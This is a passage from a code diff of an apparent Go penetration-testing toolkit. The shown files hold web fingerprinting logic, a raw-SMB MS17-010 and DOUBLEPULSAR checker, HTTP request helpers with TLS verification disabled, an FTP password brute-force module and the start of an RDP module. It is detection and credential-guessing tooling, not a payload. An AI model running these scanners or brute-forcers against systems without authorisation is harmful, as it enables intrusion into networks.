if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "and|or" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
all_type := grep.FindStringSubmatch(rule.Type)
//
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(all_type[1], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(all_type[1], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[1], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "or|and" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
all_type := grep.FindStringSubmatch(rule.Type)
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
} else { // Default Request Result
url = DefaultTarget
Favicon = DefaultFavicon
RespBody = DefaultRespBody
RespHeader = DefaultRespHeader
RespCode = DefaultRespCode
RespTitle = DefaultRespTitle
// If the http request fails, then RespBody and RespHeader are both null
// At this time, it is considered that the url does not exist
if RespBody == RespHeader {
continue
}
if rule.Mode == "" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 2 {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
}
}
if rule.Mode == "and|and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 3 {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
}
}
if rule.Mode == "or|or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "and|or" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
allType := grep.FindStringSubmatch(rule.Type)
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(allType[1], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(allType[1], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(allType[1], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "or|and" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
all_type := grep.FindStringSubmatch(rule.Type)
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
}
}
// identify
if RequestRule == "DefaultRequest" {
RespBody = DefaultRespBody
RespHeader = DefaultRespHeader
RespCode = DefaultRespCode
RespTitle = DefaultRespTitle
url = DefaultTarget
} else if RequestRule == "CustomRequest" {
url = CustomTarget
RespBody = CustomRespBody
RespHeader = CustomRespHeader
RespCode = CustomRespCode
RespTitle = CustomRespTitle
}
var identifyResult string
var identifyResultNocolor string
for _, result := range identifyData {
if runtime.GOOS == "windows" {
identifyResult += "["+result+"]"+" "
} else {
identifyResult += "["+result+"]"+" "
}
}
for _, result := range identifyData {
identifyResultNocolor += "["+result+"]"+" "
}
Result := []IdentifyResult{
{successType, RespCode, identifyResult, identifyResultNocolor, url, RespTitle},
}
return Result
}
func checkHeader(url, responseHeader string, ruleHeader string, name string, title string, RespCode string) bool {
grep := regexp.MustCompile("(?i)"+ ruleHeader)
if len(grep.FindStringSubmatch(responseHeader)) != 0 {
//fmt.Print("[header] ")
return true
} else {
return false
}
}
func checkBody(url, responseBody string, ruleBody string, name string, title string, RespCode string) bool {
grep := regexp.MustCompile("(?i)"+ ruleBody)
if len(grep.FindStringSubmatch(responseBody)) != 0 {
//fmt.Print("[body] ")
return true
} else {
return false
}
}
func checkFavicon(Favicon, ruleFaviconMd5 string) bool {
grep := regexp.MustCompile("(?i)"+ ruleFaviconMd5)
if len(grep.FindStringSubmatch(Favicon)) != 0 {
// fmt.Print("url")
return true
} else {
return false
}
}

139
cmd/eternalblue.go Normal file
View File

@@ -0,0 +1,139 @@
package cmd
import (
"Yasso/config"
"encoding/binary"
"encoding/hex"
"fmt"
"net"
"strings"
"time"
)
//TODO:MS17010
var (
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
)
func Ms17010Conn(info config.HostIn) {
conn, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
//Println()("[!] New Connect failed",err)
return
}
status, err := RequestMs17010(conn,info.Host)
if err != nil {
//Println()("[!] Request Ms17010 failed",err)
return
}
if status == true {
return
}
}
func RequestMs17010(conn net.Conn,ip string)(bool,error) {
defer conn.Close()
err := conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return false,err
}
_, err = conn.Write(negotiateProtocolRequest)
if err != nil {
return false,err
}
reply := make([]byte,1024)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false,err
}
if binary.LittleEndian.Uint32(reply[9:13]) !=0 {
return false,err
}
_, err = conn.Write(sessionSetupRequest)
if err != nil {
return false,err
}
n, err := conn.Read(reply)
if err != nil || n < 36 {
return false,err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
return false,fmt.Errorf("can't determine whether %s is vulnerable or not\n", ip)
}
// extract OS info
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
Println("invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "",-1)
break
}
}
}
}
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter
conn.Write(treeConnectRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false,err
}
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
conn.Write(transNamedPipeRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false,err
}
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
//color.Magenta("%s\tMS17-010\t(%s)\n", ip, os)
Println(fmt.Sprintf("[+] %v Find MS17010 (%s)",ip,os))
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
conn.Write(trans2SessionSetupRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false,err
}
if reply[34] == 0x51 {
fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
}
return true,nil
} else {
fmt.Printf("%s\t \t(%s)\n", ip, os)
}
return false,nil
}

423
cmd/fasthttp.go Normal file
View File

@@ -0,0 +1,423 @@
package cmd
import (
"Yasso/config"
"bytes"
"crypto/md5"
"crypto/tls"
"fmt"
"golang.org/x/net/proxy"
"golang.org/x/text/encoding/simplifiedchinese"
"io/ioutil"
"net/http"
"net/url"
"path"
"regexp"
"strconv"
"strings"
"time"
"unicode/utf8"
)
//TODO: dismap RespLab
type RespLab struct {
Url string
RespBody string
RespHeader string
RespStatusCode string
RespTitle string
FaviconMd5 string
}
func FaviconMd5(Url string, timeout time.Duration, Path string) string {
var dial proxy.Dialer
var client *http.Client
if ProxyHost != "" {
dial ,_ = ConnBySOCKS5()
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
Url = Url + "/favicon.ico"
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
return ""
}
for key, value := range config.DefaultHeader {
req.Header.Set(key, value)
}
//req.Header.Set("Accept-Language", "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6")
//req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
//req.Header.Set("Cookie", "rememberMe=int")
resp, err := client.Do(req)
if err != nil {
return ""
}
defer resp.Body.Close()
body_bytes, err := ioutil.ReadAll(resp.Body)
hash := md5.Sum(body_bytes)
md5 := fmt.Sprintf("%x", hash)
return md5
}
func DefaultRequests(Url string, timeout time.Duration)[]RespLab{
var redirect_url string
var resp_title string
var response_header string
var response_body string
var response_status_code string
var res []string
// 设置http请求客户端
var dial proxy.Dialer
var client *http.Client
if ProxyHost != "" {
dial ,_ = ConnBySOCKS5()
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
req, err := http.NewRequest("GET",Url,nil)
if err != nil {
return nil
}
// 设置默认请求头
for key,value := range config.DefaultHeader {
req.Header.Set(key,value)
}
// 做http请求
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
// 获取请求的状态马
var status_code = resp.StatusCode
response_status_code = strconv.Itoa(status_code)
//TODO: 根据请求来拦截状态码如果是30x则需要拦截url进行重定向
if len(regexp.MustCompile("30").FindAllStringIndex(response_status_code, -1)) == 1 {
// 进行重定向
redirect_path := resp.Header.Get("Location") // 拦截url进行重定向请求
if len(regexp.MustCompile("http").FindAllStringIndex(redirect_path, -1)) == 1 {
redirect_url = redirect_path
} else {
redirect_url = Url + redirect_path
}
var client *http.Client
if ProxyHost != ""{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
// 设置重定向请求
req, err := http.NewRequest("GET",redirect_url,nil)
if err != nil {
return nil
}
for key,value := range config.DefaultHeader {
req.Header.Set(key,value)
}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
//TODO: 解决两次的30x跳转问题
var twoStatusCode = resp.StatusCode
responseStatusCodeTwo := strconv.Itoa(twoStatusCode)
if len(regexp.MustCompile("30").FindAllStringIndex(responseStatusCodeTwo, -1)) == 1 {
redirectPath := resp.Header.Get("Location")
if len(regexp.MustCompile("http").FindAllStringIndex(redirectPath, -1)) == 1 {
redirect_url = redirectPath
} else {
redirect_url = Url + redirectPath
}
var client *http.Client
if ProxyHost != "" {
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
req, err := http.NewRequest("GET", redirect_url, nil)
if err != nil {
return nil
}
for key,value := range config.DefaultHeader {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
// get response body for string
bodyBytes, err := ioutil.ReadAll(resp.Body)
response_body = string(bodyBytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(bodyBytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes)
response_body = string(data)
}
// Get Response title
grepTitle := regexp.MustCompile("<title>(.*)</title>")
if len(grepTitle.FindStringSubmatch(response_body)) != 0 {
resp_title = grepTitle.FindStringSubmatch(response_body)[1]
} else {
resp_title = "None"
}
for name,values := range resp.Header {
for _,value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
for _,re := range res {
response_header += re + "\n"
}
favicon5 := FaviconMd5(Url, timeout, "")
RespData := []RespLab{
{redirect_url, response_body, response_header, response_status_code, resp_title, favicon5},
}
return RespData
}
// get response body for string
body_bytes, err := ioutil.ReadAll(resp.Body)
response_body = string(body_bytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(body_bytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes)
response_body = string(data)
}
// Get Response title
grep_title := regexp.MustCompile("<title>(.*)</title>")
if len(grep_title.FindStringSubmatch(response_body)) != 0 {
resp_title = grep_title.FindStringSubmatch(response_body)[1]
} else {
resp_title = "None"
}
// get response header for string
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
for _, re := range res {
response_header += re + "\n"
}
favicon5 := FaviconMd5(Url, timeout, "")
RespData := []RespLab{
{redirect_url, response_body, response_header, response_status_code, resp_title, favicon5},
}
return RespData
}
// get response body for string
bodyBytes, err := ioutil.ReadAll(resp.Body)
response_body = string(bodyBytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(bodyBytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes)
response_body = string(data)
}
// Get Response title
grep_title := regexp.MustCompile("<title>(.*)</title>")
if len(grep_title.FindStringSubmatch(response_body)) != 0 {
resp_title = grep_title.FindStringSubmatch(response_body)[1]
} else {
resp_title = "None"
}
// get response header for string
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
for _, re := range res {
response_header += re + "\n"
}
faviconmd5 := FaviconMd5(Url, timeout, "")
RespData := []RespLab{
{Url, response_body, response_header, response_status_code, resp_title, faviconmd5},
}
return RespData
}
func CustomRequests(Url string, timeout time.Duration, Method string, Path string, Header []string, Body string) []RespLab {
var respTitle string
// Splicing Custom Path
u, err := url.Parse(Url)
u.Path = path.Join(u.Path, Path)
Url = u.String()
if strings.HasSuffix(Path, "/") {
Url = Url + "/"
}
var client *http.Client
var dial proxy.Dialer
if ProxyHost != "" {
dial ,_ = ConnBySOCKS5()
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig:&tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig:&tls.Config{InsecureSkipVerify: true},
},
}
}
// Send Http requests
body_byte := bytes.NewBuffer([]byte(Body))
req, err := http.NewRequest(Method, Url, body_byte)
if err != nil {
return nil
}
// Set Requests Headers
for _, header := range Header {
grep_key := regexp.MustCompile("(.*): ")
var header_key = grep_key.FindStringSubmatch(header)[1]
grep_value := regexp.MustCompile(": (.*)")
var header_value = grep_value.FindStringSubmatch(header)[1]
req.Header.Set(header_key, header_value)
}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
// Get Response Body for string
body_bytes, err := ioutil.ReadAll(resp.Body)
var response_body = string(body_bytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(body_bytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes)
response_body = string(data)
}
// Get Response title
grep_title := regexp.MustCompile("<title>(.*)</title>")
if len(grep_title.FindStringSubmatch(response_body)) != 0 {
respTitle = grep_title.FindStringSubmatch(response_body)[1]
} else {
respTitle = "None"
}
// Get Response Header for string
var res []string
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
var response_header string
for _, re := range res {
response_header += re + "\n"
}
// get response status code
var status_code = resp.StatusCode
response_status_code := strconv.Itoa(status_code)
RespData := []RespLab{
{Url, response_body, response_header, response_status_code, respTitle, ""},
}
return RespData
}
//dismap 解析IP
func ParseUrl (host string,port string) string {
if port == "80" {
return "http://" + host
} else if port == "443"{
return "https://" + host
} else if len(regexp.MustCompile("443").FindAllStringIndex(port, -1)) == 1 {
return "https://" + host + ":" + port
} else {
return "http://" + host + ":" + port
}
}

62
cmd/ftp.go Normal file
View File

@@ -0,0 +1,62 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/spf13/cobra"
"time"
)
var FtpCmd = &cobra.Command{
Use: "ftp",
Short: "ftp burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == ""{
_ = cmd.Help()
}else{
BruteFtpByUser()
}
},
}
func BruteFtpByUser(){
if BrutePort == 0 {
BrutePort = 21
}
var ips []string
var err error
if Hosts != ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("ftp",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [ftp]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("ftp",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
func FtpConn(info config.HostIn,user,pass string)(bool,error){
var flag = false
c, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),time.Duration(info.TimeOut))
conn, err := ftp.Dial(fmt.Sprintf("%v:%v",info.Host,info.Port),ftp.DialWithNetConn(c))
if err == nil {
err = conn.Login(user,pass)
if err == nil {
flag = true
}
}
return flag,err
}

167
cmd/grdp.go Normal file
View File

@@ -0,0 +1,167 @@
package cmd
import (
"Yasso/config"
"errors"
"fmt"
"github.com/spf13/cobra"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"sync"
"time"
)
var (
BruteDomain string
)
